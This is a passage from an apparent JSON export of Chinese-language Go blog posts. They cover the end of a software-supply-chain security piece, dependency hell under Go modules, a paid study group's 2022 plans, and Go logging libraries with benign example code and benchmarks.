模糊测试(Fuzzing)\n- 网络应用程序扫描器，如果适用的话\n- 解决包含的代码（库、包、服务）。\n从这里也可以看到Go 1.18加入对Fuzzing的原生支持，看来很大可能也是为了响应这一指南。\n5. 参考资料 软件供应链安全现状与发展对策 – https://zhuanlan.zhihu.com/p/442772376 悬镜安全发布的《2021软件供应链安全白皮书》，关注公众号iamtonybai，发送关键字“2021软件供应链”即可获得该白皮书。 Thoughtworks雷达25期 – https://www.thoughtworks.com/content/dam/thoughtworks/documents/radar/2021/10/tr_technology_radar_vol_25_cn.pdf “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/14/software-supply-chain-security-in-go/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/software-supply-chain-security-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/14/software-supply-chain-security-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/14/software-supply-chain-security-in-go\"\u003ehttps://tonybai.com/2022/03/14/software-supply-chain-security-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://mp.weixin.qq.com/s/ycmFabQVfFeiCiJdcjvOTA\"\u003eGo 12岁生日\u003c/a\u003e以及\u003ca href=\"https://mp.weixin.qq.com/s/Zthy6IAxGC10Q7q2N3gqMQ\"\u003eGo 1.18 beta1发布\u003c/a\u003e的博文中，Go核心团队技术负责人Russ Cox都提到了2022年Go团队将关注Go软件供应链安全，并在Go中为软件供应链提供相关工具。\u003c/p\u003e","title":"聊聊Go语言的软件供应链安全"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/12/dependency-hell-in-go\n如果所有Gopher都抛弃GOPATH构建模式，拥抱Go module构建模式；如果所有legacy Go package作者都能为自己的legacy package加上go.mod；如果所有Go module作者都严格遵守语义版本(semver)规范，那么Go将彻底解决“依赖地狱”问题。\n但现实却没那么乐观！Go中的“依赖地狱问题”依然存在。这一篇我们就来聊聊Go中依赖地狱的“发作场景”、原因以及解决方法。\n1. 什么是“依赖地狱(dependency hell)”？ “依赖地狱”问题不是某种编程语言独有的问题，而是一个在软件开发和发布领域广泛存在问题。维基百科对该问题的广义诠释是这样的：\n当几个软件包对相同的共享包或库有依赖性，但它们依赖于不同的、不兼容的共享包版本时，就会出现依赖性问题。如果共享包或库只能安装一个版本，用户可能需要通过获得较新或较旧版本的依赖包来解决这个问题。反过来，这可能会破坏其他的依赖关系。\n在软件开发构建领域，我们会面对同样的“依赖地狱”问题。文字总是很难懂，我们用更为直观的示意图来说明什么是软件构建过程中的“依赖地狱”问题，大家先看看下面这个示意图：\n我们看到在这幅图中：包P1依赖包P3 V1.5版本，包P2依赖包P3 V2.0版本，App同时依赖包P1和包P2。于是问题出现了：构建工具在构建App这个应用时需要决策究竟要使用包P3的哪个版本：V1.5还是V2.0？当然这个问题存在的一个前提是：App中只允许包含包P3的一个版本。\n如果P3的V1.5与V2.0版本是不兼容的版本，那么构建工具无论选择包P3的哪个版本，App的构建都会以失败告终。开发人员只能介入手工解决，解决方法无非是将P1对P3的依赖升级到V2.0，或将P2对P3的依赖降级为V1.5版本。但P1、P2多数情况下是第三方开源包，App的开发人员对P1、P2包的作者的影响力有限，因此这种手工解决的成功率也不高。\n“依赖地狱”(又称为“钻石依赖”问题)由来已久，几十年来各种编程语言都在努力解决这一问题，并也有了几种可以帮助到开发者的不错的方案。我们先来看看Go语言的解决方案。\n2. Go的解决方案 在GOPATH构建模式时代，Go构建工具是无法自动解决上述“依赖地狱”问题的。Go 1.11版本引入Go module构建模式后，经过几年的打磨，Go module构建模式逐渐成熟，并已经成为Go构建模式的标准。\nGo module构建模式是可以部分解决上述“依赖地狱”问题的。Go module解决这个问题的思路是：语义导入版本(sematic import versioning)，即在包的导入路径上加上包的major version前缀。关于“语义导入版本”的详细介绍，可以参考我的极客时间专栏“Go语言第一课”的相关内容。\n使用“语义导入版本”后，Go解决上面那个问题的方案如下图：\n我们看到：Go通过打破“App中只允许包含包P3的一个版本”这个前提实现了P1和P2各自使用自己依赖的版本。但这样做的前提是P1和P2依赖的P3版本的major版本号是不同的。在Go中，由于采用语义导入版本机制，major版本号不同的module被视为不同的module，即使它们源于同一个repository(比如上面的源于同一个P3的v1.5和v2.0就被视为两个不同的module)。\n当然这种解决方案是有代价的！第一个代价就是构建出来的app的二进制文件size变大了，因为二进制文件中包含了多个版本的P3的代码；第二个代价，可能也算不上代价，更多是要注意的是不同版本的module之间的类型、变量、标识符不能混用，我们以go-redis/redis这个开源项目举个例子。go-redis/redis最新大版本为v8.11.4，没有启用go.mod时的版本为v6.x.x，我们将这两个版本混用在一起：\npackage main import ( \u0026#34;context\u0026#34; \u0026#34;github.com/go-redis/redis\u0026#34; redis8 \u0026#34;github.com/go-redis/redis/v8\u0026#34; ) func main() { var rdb *redis8.Client rdb = redis.NewClient(\u0026amp;redis.Options{ Addr: \u0026#34;localhost:6379\u0026#34;, Password: \u0026#34;\u0026#34;, // no password set DB: 0, // use default DB }) _ = rdb } Go编译器在编译这段代码时会报如下错误：\ncannot use redis.NewClient(\u0026amp;redis.Options{…}) (value of type *\u0026#34;github.com/go-redis/redis\u0026#34;.Client) as type *\u0026#34;github.com/go-redis/redis/v8\u0026#34;.Client in assignment 即redis v8下的Client与redis Client并非一个类型，即使它们的内部字段相同，也不能混用在一起。\n那么，是不是说有了Go module构建机制后，“依赖地狱”问题就彻底从Go开发中被移除了呢？不是的。“依赖地狱”问题依旧存在，下面我们就来看看哪些情况下还会出现此类问题。\n3. 哪些情形下“依赖地狱”依旧存在 1) 依赖不带go.mod的legacy Go包 如今Go语言引入Go module已经多年了，但Go社区仍然存在大量legacy的Go包尚未增加go.mod文件。对于这样的go包，Go命令的处理策略大致是这样的：\n对于尚未打tag的go包，那么就按等同于v0/v1的方式处理 go命令将go包缓存在本地mod cache时，会合成一个go.mod文件，比如：\n// $GOMODCACHE/cache/download go.starlark.net └── @v ├── list ├── list.lock ├── v0.0.0-20190702223751-32f345186213.mod // 这里是合成的go.mod ├── v0.0.0-20200821142938-949cc6f4b097.info ├── v0.0.0-20200821142938-949cc6f4b097.lock ├── v0.0.0-20200821142938-949cc6f4b097.mod // 这里是合成的go.mod ├── v0.0.0-20200821142938-949cc6f4b097.zip ├── v0.0.0-20200821142938-949cc6f4b097.ziphash ├── v0.0.0-20210901212718-87f333178d59.info └── v0.0.0-20210901212718-87f333178d59.mod // 这里是合成的go.mod 对于已经打了tag的go包且tag的major版本号\u0026lt;2，那么也按等同于v0/v1的方式处理 go命令将这样的go包缓存在本地mod cache时，同样会合成一个go.mod文件，比如：\n// $GOMODCACHE/cache/download pierrec |-- lz4 | |-- @v | | |-- list | | |-- v1.0.1.info | | |-- v1.0.1.lock | | |-- v1.0.1.mod // 这里是合成的go.mod | | |-- v1.0.1.zip | | |-- v1.0.1.ziphash 对于打了tag且tag的major版本号\u0026gt;=2的，Go命令将包下载到mod cache中后，同样会为该go包合成一个go.mod文件，该文件名vX.Y.Z+incompatible.mod，比如下面这个例子： // $GOMODCACHE/cache/download pierrec |-- lz4 | |-- @v | | |-- list | | |-- v2.6.1+incompatible.info | | |-- v2.6.1+incompatible.lock | | |-- v2.6.1+incompatible.mod // 这里是合成的go.mod | | |-- v2.6.1+incompatible.zip | | `-- v2.6.1+incompatible.ziphash 以上三种情况下，合成的.mod文件中的module root path都是不带vN后缀的，无论是否打tag，也不论tag major版本是否\u0026gt;=2，以v2.6.1+incompatible.mod为例，其内容如下：\n// v2.6.1+incompatible.mod module github.com/pierrec/lz4 我们看到，该合成的mod文件中也不包含这个legacy包自身所依赖的第三方包的require代码块。那么依赖lz4这个legacy包的项目如何确定lz4的第三方依赖的版本呢？并且lz4依赖的第三方包的版本记录在哪里呢？我们以app依赖github.com/pierrec/lz4为例，看下面示意图：\ngo mod命令在做依赖分析时，会根据源码中的import github.com/pierrec/lz4确定lz4的版本，由于没有vN后缀，go命令会找lz4的v2以下的源码中的go.mod，但lz4在这之前都没有添加go.mod，于是只能按照legacy的模式去确定lz4的版本，这里确定的是v2.6.1+incompatible，go命令将其作为app module的直接依赖：\nrequire github.com/pierrec/lz4 v2.6.1+incompatible 之后go命令还会对lz4的依赖做分析，并将其记录到app module的go.mod中，作为indirect依赖：\nrequire github.com/frankban/quicktest v1.14.2 //indirect 将直接依赖的legacy包的第三方依赖记录在自己的go.mod中是为了满足基于go.mod的可重现构建的要求。\n好了！我们了解了go命令处理legacy go包的方式，再来看看如果出现“钻石依赖”情况下，Go命令是如何处理的？直接给结论，如下图：\n在这幅图中，我们让P1依赖lz4的v1.0.1版本，让P2依赖lz4的v2.6.1+incompatible版本，这两个版本都是legacy（未添加go.mod）下打的tag。那么当app既依赖P1又依赖P2时，go命令会如何选择lz4的版本呢？Go命令简单粗暴的选择了同时满足P1和P2的最小版本：v2.6.1+incompatible。这里Go似乎做了一个假设：legacy包的新版本一定是向前兼容老版本的。对于lz4这个包来说，这个假设是正确的，我们对App的构建与执行不会遇到问题。\n但是一旦这个假设不成立，比如：lz4的v2.6.1是一个不兼容v1.0.1的发布，那么App的构建将遇到错误。这种情况go命令是无能为力了，只能进行手工干预！那怎么干预呢？无非以下几种手段：\n提issue督促P1作者将对lz4的依赖升级到最新v2.6.1版本 这种手段效率低不说，很可能P1的author根本就不会搭理你。\nfork一个P1，自己修改，然后让App依赖你fork后的P1 这种手段可行，但后续就要自己维护一个fork的P1，无形中给自己增加了额外的负担。\nvendor下来，自己修改，在vendor目录下维护 这种手段也可行，但后续只能使用vendor模式构建，且要自己维护一个本地的P1，同样也给自己增加了额外的负担。\n那就没有更好的方法了么？真没有！从legacy项目到拥抱go module的项目的过渡过程注定是坎坷的。\n2) 采用go module机制的依赖包的冲突问题 看完legacy包后，我们再来看依赖是采用go module机制的包的冲突问题。有了对上面例子理解的基础，理解下面的例子的就更容易了，我们来看下面示意图：\n这个例子也很简单，P1和P2都依赖module P3，分别依赖P3的v1.1.0版本和v1.2.0版本，和之前的例子一样，App既依赖P1，也依赖P2，这样就构成了图中右侧的“钻石结构”。不过，Go module的另外一个机制：最小版本选择(MVS)可以很好的解决这个依赖问题，关于MVS的详情，同样可以参考我的极客时间专栏“Go语言第一课”的相关内容。\nMVS机制同样是基于语义版本之上的，它会选择满足此App依赖的最小可用版本，这里P3的v1.1.0版本与v1.2.0版本的major版本号相同，因此按照语义版本规范，他们是兼容的版本，于是go命令选择了满足app依赖的最小可用版本为v1.2.0(此时P3的最高版本为v1.7.0，Go命令没有选择最高版本)。\n不过理论约定与实际常常脱节，一旦P3的author在发布v1.2.0时没有识别出与v1.1.0的不兼容change，那么这种情况下，不兼容v1.1.0的P3版本会导致对P1包的构建失败！这就是采用go module机制的依赖包时最常见的“依赖地狱”问题。\n可以看到，这个问题的根源还是在于go module的author。识别不兼容的change难吗？也不难，但的确繁琐，费脑子。那么作为module author, 如何尽量避免未按照语义版本规范发布版本号兼容实则不兼容的module版本呢？\nGo社区的作法分为两类：\n极端作法：\n不发布1.0版本，一直在0.x.y，不承诺新版本兼容老版本； 每次发稍大一些的版本都升级major版本号，这样既避免了繁琐的检查是否有不兼容change的问题，也肯定不会给社区带去“依赖地狱”问题。 常规作法：\n检查是否有不兼容change，只有在存在不兼容change的情况下，才升级major版本。 Go官博曾经发表过一篇名为《Keeping Your Modules Compatible》的文章，以告诉大家如何检查新的change中是否有不兼容的change。文中还提到Go团队已经开发了一个名为gorelease的工具来帮助Go开发者检测新版本与旧版本之间是否存在不兼容的变化(当然，工具也很可能不能完全扫描出来不兼容性change)，大家可以在这里查看gorelease的详细用法。\n4. 未来畅想 近几年成长时候也很迅猛的Rust语言在面对“依赖地狱”这一问题上似乎走到了Go的前面，在《How Rust Solved Dependency Hell》一文中大致讲解了Rust解决这一问题的方案。其原理大致是利用的名字修饰，即同一个依赖的两个不兼容的版本可以共存与一个Rust应用中，每个版本中的标识符在应用中都是独一无二的，Rust通过包名、版本号等作为名字修饰以达到此目的。\n那么，未来Go module是否能做到这点呢？笔者认为是可行的，并且是兼容于现在go module的机制的。Go module的引入，实则也是一种“namespace”的概念，具备像Rust那样解决问题的基础。但Go团队是否要这么做就是另当别论了，因为一旦Go语言世界像本文开篇中所提到的那样，那么现有机制也可以很好地解决“依赖地狱”问题。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/12/dependency-hell-in-go/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/dependency-hell-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/12/dependency-hell-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/12/dependency-hell-in-go\"\u003ehttps://tonybai.com/2022/03/12/dependency-hell-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e如果所有Gopher都抛弃GOPATH构建模式，拥抱Go module构建模式；如果所有legacy Go package作者都能为自己的legacy package加上go.mod；如果所有Go module作者都严格遵守\u003ca href=\"https://semver.org\"\u003e语义版本(semver)规范\u003c/a\u003e，那么Go将彻底解决\u003ca href=\"https://en.wikipedia.org/wiki/Dependency_hell\"\u003e“依赖地狱”问题\u003c/a\u003e。\u003c/p\u003e","title":"为什么有了Go module后“依赖地狱”问题依然存在"},{"content":"\n本文永久链接 – https://tonybai.com/2022/03/06/the-2022-plan-of-gopher-tribe\n2021年末，我对Gopher部落知识星球的这一年进行了简单的复盘。2022年初，我陆续收到知识星球官方的一些排名数据：\n这些数据让我对2022年星球的运营更加有信心了！那么，2022年Gopher部落知识星球会有哪些变化呢？在本文中，我就来说一说这方面内容。\n星球定位 这里再明确一下Gopher部落这个知识星球的定位：专注于Go语言的高质量付费知识社群。主要特点与活动包括：\n及时(news)：定期分享Go语言生态相关最新信息； 聚合(thread)：使用类似twitter thread的形式将针对某一topic的碎片化的想法、理论、实践关联聚合在一起，供大家参考与互动； 原创(article)：定期分享个人原创的高质量技术文章并就这些内容与星友互动； 解惑(answer)：第一时间回答星友疑问； 练习(practice)：定期通过作业的方式与星友就某一或某些知识点做互动。 2022年的Gopher部落运营将进一步聚焦上面的主要活动。当然，除了以上主要活动之外，偶尔也会穿插一些我对其他非Go新技术的捕获与理解。\n另外，从保证社群运营质量的角度考虑，Gopher部落的承载力是有限的，我的初步考虑是300人为最佳，500人已是极限，所以后续星球运营也将围绕这个承载目标进行。\n调查结果 最初运营这个Gopher部落真是摸着石头过河，经过一年多的摸索，找到了一些感觉。为了增加星友在社群中的互动，我年前在社群中发起了一个小调查，这里也借此机会将主要调查结果分享给大家：\n2022年究竟要做点啥呢？ 结合上面的定位、调查结果以及个人从事的行业与技术领域，我用一张思维导图大致勾勒出2022年Gopher部落的主要内容与活动：\n小结 如今我个人供职于算是风口的智能网联汽车行业，带团队做先行产品的研发，每天面对大量要解决的问题，感觉每天都有很多要和大家分享的东西，所以说，2022年，Gopher部落值得大家期待！不过迫于时间与精力，输出需要时间一点点的整理。\n最后，星球在2022年可能会调整价格，不是为了赚钱，而是要cover住我的时间成本（手动允悲），运营这个星球只是为了给自己保留一块与星友沟通的自留地！但这里承诺：无论价格上涨多少，老星友的续费金额将始终保持与现在不变，即大约132元/year。\n预告：2022年5月1日开始，Gopher部落将涨价至288元/year。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/06/the-2022-plan-of-gopher-tribe/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-2022-plan-of-gopher-tribe-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/06/the-2022-plan-of-gopher-tribe\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/06/the-2022-plan-of-gopher-tribe\"\u003ehttps://tonybai.com/2022/03/06/the-2022-plan-of-gopher-tribe\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2021年末，\u003ca href=\"https://tonybai.com/2021/12/17/gopher-tribe-first-anniversary-review\"\u003e我对Gopher部落知识星球的这一年进行了简单的复盘\u003c/a\u003e。2022年初，我陆续收到知识星球官方的一些排名数据：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/the-2022-plan-of-gopher-tribe-4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这些数据让我对2022年星球的运营更加有信心了！那么，2022年Gopher部落知识星球会有哪些变化呢？在本文中，我就来说一说这方面内容。\u003c/p\u003e","title":"Gopher部落：2022年要做的事儿"},{"content":"\n配图改自网络\n本文永久链接 – https://tonybai.com/2022/03/05/go-logging-practice\nGo隶属于后端语言，以开发各类服务、中间件和系统平台见长。日常学习Go语言时，日志不是不可或缺的，甚至是无需考虑的，但是一旦到真正的Go的工程实践中，输出日志便是我们绕不过去的、必须面对的问题。\nGo开发的服务大多具有连续和自主运行的属性，通常都是7×24小时运行的，开发运维人员不可能一直盯着服务的运行状态，这就需要记录服务的运行日志。而日志的本质正是留档待查。通过日志，我们可以：\n查看系统运行状态 发现异常 审计行为 辅助问题的诊断 在如今云原生时代，可观测性(Observability)大行其道，日志被称为“可观测性的三大支柱”之一（另两个是度量(metrics)与跟踪(tracing)），是云原生系统devops不可或缺的重要组成部分。\n那么在Go工程实践中，Go对日志输出支持的现状是怎样的？存在哪些问题？常用的问题解决套路是什么？以及社区的努力与期望又是什么？在这一篇文章中，我就围绕上述这些问题来聊一聊。\n一. Go日志现状 Go是“自带电池”的语言，开箱即用。这就意味着在Go标准库中有现成的log包可供开发者使用。\nGo标准库log包 作为Go标准库的一部分，Go log包使用起来十分简单，你只需导入log包并无需做任何创建与设置操作即可输出log到标准错误(stderr)，这是因为log包内置了一个名为std的默认logger：\n// $GOROOT/src/log/log.go var std = New(os.Stderr, \u0026#34;\u0026#34;, LstdFlags) 这种内置一个默认logger实例的模式也被很多第三方log包所效仿。下面是使用默认logger输出日志的简单例子：\nimport \u0026#34;log\u0026#34; func main() { log.Println(\u0026#34;hello, go log\u0026#34;) } 上面示例程序输出：\n2022/02/27 14:40:41 hello, go log 我们看到：go log提供的是printf-like风格的log API，这也意味着将代码中的log换成fmt，代码同样可以正常运行。go log支持三类API：\nPrintln/Printf Panicln/Panicf // 相当于PrintX + panic Fatalln/Fatalf // 相当于PrintX + exit go log包通过下面三个导出方法可以实现对logger的一些“定制”：\nfunc SetFlags(flag int) // 主要用于设置日志的时间戳格式，也可以设置前缀字符串在log输出中的位置，默认flag为LstdFlags func SetOutput(w io.Writer) // 设置日志的输出目的地，比如文件、网络socket、syslog等 func SetPrefix(prefix string) // 设置日志前缀 但go log包不支持设置log level并按level输出，内置std logger同样不支持log level。如果对log level有需求，可基于go log包进行二次封装。下面就是一个简单的封装demo：\npackage main import ( \u0026#34;io\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;sync/atomic\u0026#34; ) // log level const ( LDEBUG = iota + 1 // 1 LWARN // 2 LINFO // 3 LERROR // 4 LFATAL // 5 ) type myLogger struct { level int64 w io.Writer debugLogger *log.Logger warnLogger *log.Logger infoLogger *log.Logger errLogger *log.Logger fatalLogger *log.Logger } func New(w io.Writer, level int64, flag int) *myLogger { if w == nil { w = os.Stderr } if flag \u0026lt;= 0 { flag = log.LstdFlags } return \u0026amp;myLogger{ w: w, level: level, debugLogger: log.New(w, \u0026#34;[DEBUG] \u0026#34;, flag|log.Lmsgprefix), warnLogger: log.New(w, \u0026#34;[WARN] \u0026#34;, flag|log.Lmsgprefix), infoLogger: log.New(w, \u0026#34;[INFO] \u0026#34;, flag|log.Lmsgprefix), errLogger: log.New(w, \u0026#34;[ERROR] \u0026#34;, flag|log.Lmsgprefix), fatalLogger: log.New(w, \u0026#34;[FATAL] \u0026#34;, flag|log.Lmsgprefix), } } func (l *myLogger) SetLevel(level int64) { if level \u0026lt; LDEBUG || level \u0026gt; LFATAL { return } atomic.StoreInt64(\u0026amp;l.level, level) } func (l *myLogger) Debugln(v ...interface{}) { if atomic.LoadInt64(\u0026amp;l.level) \u0026gt; LDEBUG { return } l.debugLogger.Println(v...) } func (l *myLogger) Debugf(format string, v ...interface{}) { if atomic.LoadInt64(\u0026amp;l.level) \u0026gt; LDEBUG { return } l.debugLogger.Printf(format, v...) } func (l *myLogger) Infoln(v ...interface{}) { if atomic.LoadInt64(\u0026amp;l.level) \u0026gt; LINFO { return } l.infoLogger.Println(v...) } func (l *myLogger) Infof(format string, v ...interface{}) { if atomic.LoadInt64(\u0026amp;l.level) \u0026gt; LINFO { return } l.infoLogger.Printf(format, v...) } func main() { logger := New(nil, LWARN, 0) logger.Infoln(\u0026#34;info level log demo\u0026#34;) logger.Debugln(\u0026#34;debug level log demo\u0026#34;) } 运行这个demo，输出日志如下：(由于设置的是LWARN级别，所以仅会输出info级别的日志，debug级别日志将被忽略)：\n2022/02/27 15:41:01 [INFO] info level log demo glog github的golang组织下还提供了一个Google内部使用的、Go版本的glog。\n注：glog是google内部自用的log包，不接受外部的添加feature的PR。\nglog支持分级日志，并提供了按特定log level输出日志的专用API，比如：InfoXx、WarningXx、ErrorXx、FatalXx等，下面是使用glog的一个示例：\npackage main import ( \u0026#34;flag\u0026#34; \u0026#34;github.com/golang/glog\u0026#34; ) func main() { flag.Parse() glog.Info(\u0026#34;Prepare to repel boarders\u0026#34;) if glog.V(2) { glog.Info(\u0026#34;Starting transaction...\u0026#34;) } glog.V(2).Infoln(\u0026#34;Processed\u0026#34;, 5, \u0026#34;elements\u0026#34;) glog.Flush() } glog通过flag来指定log level，所以在使用glog输出日志前必须先调用Go标准库flag包的Parse函数解析命令行flag。执行这个示例，输出结果如下：\n$go run main.go -logtostderr -v=2 I0227 16:14:35.968922 40869 main.go:12] Prepare to repel boarders I0227 16:14:35.969024 40869 main.go:15] Starting transaction... I0227 16:14:35.969027 40869 main.go:17] Processed 5 elements 注意：使用-logtostderr使得日志输出到标准错误，否则默认输出到系统临时文件目录的临时文件中；如果要输出日志到特定目录，可以去掉-logtostderr，并指定-log_dir，不过我们无法指定日志文件名，glog有一套内定的日志文件自动命名机制。\n虽然glog与标准库log包有很多不同点，但它们总体来说还是属于一类log包，它们具有一个共同的特点：开发者需自己将各个字段通过类Printf API组成一条非结构化的日志，这样的日志便于human阅读，但不便于机器阅读(解析)。\n结构化日志包 好了，这就引出了另一类log包，它们的特点与上面的标准库log、golang/glog正好相反：开发者使用这一类log包时无需自组织日志格式，只需通过key-value的方式给出要输出的字段，log包就会将这些字段自动整理为一条类似下面这样的结构化的日志：\n// 以zap包输出为例： {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1646256841.204795,\u0026#34;caller\u0026#34;:\u0026#34;zap/testzap.go:13\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;failed to fetch URL\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;http://tonybai.com\u0026#34;,\u0026#34;attempt\u0026#34;:3,\u0026#34;backoff\u0026#34;:1} 我们很容易看出这是一条合法的json数据，这类log包多以json作为结构化日志的输出形式。并且，即便某些包提供了类Printf的API，其实也只是将自组的字符串作为一个特定key(比如zap包使用msg)的value。\nGo社区开源的第三方log包绝大多数都属于此类结构化日志包，包括github排名最靠前、采用最为广泛的两个包sirupsen/logrus和uber-go/zap：\n笔者在生产中使用的是uber/zap，关于zap包的使用方法，我在之前的一篇《一文告诉你如何用好uber开源的zap日志》有详细讲解，这里就不赘述了。\n结构化日志包之所以大受欢迎，主要还是因为其容易被机器“阅读”的特点，如今将日志“灌入”类ELK的集中日志平台中备查已经不是最佳实践了，而是必经之路。\n有人说性能也是考量因素。也没错，至少我在选型时会重点考虑性能高的log包。比如：在并发benchmark中，zap远胜std log：\ngoos: linux goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz BenchmarkGolog-4 4126830 290.7 ns/op 24 B/op 1 allocs/op BenchmarkGooglelog-4 711428 1427 ns/op 216 B/op 2 allocs/op BenchmarkZap-4 11572719 97.08 ns/op 0 B/op 0 allocs/op PASS 不过你可能并不知晓：在单goroutine下，zap性能其实不如std log：\ngoos: linux goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz BenchmarkGolog-4 4470559 273.4 ns/op 24 B/op 1 allocs/op BenchmarkGooglelog-4 789846 1363 ns/op 216 B/op 2 allocs/op BenchmarkZap-4 2934202 400.4 ns/op 0 B/op 0 allocs/op PASS 不过，如今哪个作为后端服务的Go应用不启动几个goroutine呢，并发才是log应用的主场景。\n无论是选择非结构化的std log包，还是结构化的、高性能的zap log包，在应用过程中依然会遇到一些问题。接下来，我们就来看看在log的工程实践中存在的主要问题。\n二. 工程实践中存在的主要问题 工程实践中，在处理log这块儿你会遇到很多问题，比如：如何日志选型、如何评估日志性能、如何进行日志输出设置（包括：设置日志输出的目的io.Writer、日志格式、日志轮转(rotate)与归档(archive)）等。\n但这些都不是主要问题，日志选型可参考社区使用最广泛的log包；日志性能用简单的benchmark就可判断；日志设置呢，看看各个包提供的doc与example大多都可以搞定。\n那主要问题是什么呢？其实是log适配。为什么来会有log适配问题呢？我来举一个例子大家就明白了。\n现在我有一个Go项目P1，P1依赖uber/zap包输出log。通过前面对zap的了解，我们知道zap输出的日志样式是这样的：\n{\u0026#34;level\u0026#34;:\u0026#34;warn\u0026#34;,\u0026#34;logtime\u0026#34;:\u0026#34;2022-02-27T15:24:57+08:00\u0026#34;,\u0026#34;caller\u0026#34;:\u0026#34;xx/log.go:19\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;[f:1,l:33372,t:4,c:33372,a:33372] [00103:00001] t24 cast vote from n00003 index 33373 term 24, log term: 5\u0026#34;} 现在P1要基于dragonboat包实现分布式强一致的数据同步，不过dragonboat采用了自定义的logger，其内部模块输出的日志的样式是这样的：\n2022-02-27 16:25:40.259479 I | raft: [f:1,l:33375,t:26,c:33374,a:33374] [00101:00001] t26 became leader 我们看到：问题出现了：P1输出日志一些是zap log格式的，一些是dragonboat自定义格式的，不仅human阅读困难，送给机器也无法解析。\n好在dragonboat包比较厚道，对外部提供了设置其内部logger的导出函数SetLoggerFactory，但是前提是设置的logger实例的类型应该满足下面接口类型：\n// dragonboat包中的logger/logger.go type ILogger interface { SetLevel(LogLevel) Debugf(format string, args ...interface{}) Infof(format string, args ...interface{}) Warningf(format string, args ...interface{}) Errorf(format string, args ...interface{}) Panicf(format string, args ...interface{}) } 